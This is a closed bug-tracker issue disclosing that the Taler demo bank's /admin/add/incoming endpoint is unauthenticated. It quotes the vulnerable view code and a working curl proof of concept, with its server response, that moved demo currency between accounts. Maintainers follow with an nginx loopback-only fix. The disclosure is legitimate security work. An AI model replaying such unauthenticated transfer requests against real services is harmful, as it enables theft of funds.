View Issue Details

IDProjectCategoryView StatusLast Update
0004561Talerbank (demonstrator)public2016-10-11 17:28
ReporterJavanteaAssigned ToMarcello Stanisci 
PrioritynormalSeveritymajorReproducibilityalways
Status closedResolutionfixed 
Product Version0.0 
Target Version0.1Fixed in Version0.1 
Summary0004561: Taler Bank unauthenticated interface /admin/add/incoming
DescriptionThe Taler bank is easily susceptible to theft. I robbed the demo bank to prove the concept. I stole 800000009.000008 KUDOS from various accounts. The problem with the bank is that it uses an unauthenticated administration interface /admin/add/incoming to wire money from account to account. Instead of having no authentication, this needs the strongest sort of authentication.

talerbank/app/funds.py:60
@csrf_exempt
def add_incoming(request):
    if request.method != 'POST':
        raise WrongMethod('GET')
    data = json.loads(request.body.decode('utf-8'))
    schemas.validate_incoming_request(data)
    logger.info("add_incoming for debit account %s and credit accout %s", data['debit_account'], data['credit_account'])

    wire_transfer_in_out(data['amount'],
                         data['debit_account'],
                         data['credit_account'],
                         data['wtid'])
    return JsonResponse({'outcome': 'ok'}, status=200)
Steps To ReproduceFind out your account number on https://bank.demo.taler.net/profile
Find out the bank's profile on https://bank.demo.taler.net/public-accounts/details?account=Bank
Your account number goes into the credit account, the bank's account number goes into the debit account like so (my account is 92, the bank is 1):

curl -i -d '{"debit_account":1, "credit_account":92, "amount":{"value":100000001, "fraction":1, "currency":"KUDOS"}, "wtid":"55560010"}' 'https://bank.demo.taler.net/admin/add/incoming'
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 06 Jun 2016 03:05:07 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=63072000; preload

{"outcome": "ok"}

Check https://bank.demo.taler.net/profile and https://bank.demo.taler.net/public-accounts?account=Bank to verify that the transaction went through.
TagsNo tags attached.

Relationships

related to 0004568 closedMarcello Stanisci listen on different socket for administrative interface 

Activities

Christian Grothoff

2016-06-06 11:52

manager   ~0010865

I'm not sure the answer is to add authentication (as otherwise the test-integration with the aggregator will fail).

However, it makes sense to restrict /admin/add/incoming to loopback, which is what we do for the exchange.

Christian Grothoff

2016-06-06 11:54

manager   ~0010866

Also, Javantea, just to be clear: the bank is intended for demonstration-purposes only, as we needed one for the demo. So the security is not really expected to be more than minimal. :)

Marcello Stanisci

2016-06-14 16:44

manager   ~0010901

that was fixed a while ago with

  location /admin/add/incoming {
    allow 127.0.0.1;
    deny all;
  }

Christian Grothoff

2016-06-14 17:12

manager   ~0010904

Except, of course, this doesn't help with the reverse-proxy setup. So ultimately we'll need to fix 0004568. But sure, this one's resolved.

Issue History

Date Modified Username Field Change
2016-06-06 05:26 Javantea New Issue
2016-06-06 05:26 Javantea Status new => assigned
2016-06-06 05:26 Javantea Assigned To => Marcello Stanisci
2016-06-06 11:52 Christian Grothoff Note Added: 0010865
2016-06-06 11:54 Christian Grothoff Note Added: 0010866
2016-06-06 11:54 Christian Grothoff Target Version => 0.1
2016-06-07 19:31 Florian Dold Relationship added related to 0004568
2016-06-14 16:44 Marcello Stanisci Note Added: 0010901
2016-06-14 16:44 Marcello Stanisci Status assigned => resolved
2016-06-14 16:44 Marcello Stanisci Resolution open => fixed
2016-06-14 17:12 Christian Grothoff Note Added: 0010904
2016-06-14 17:12 Christian Grothoff Fixed in Version => 0.1
2016-10-11 17:28 Christian Grothoff Status resolved => closed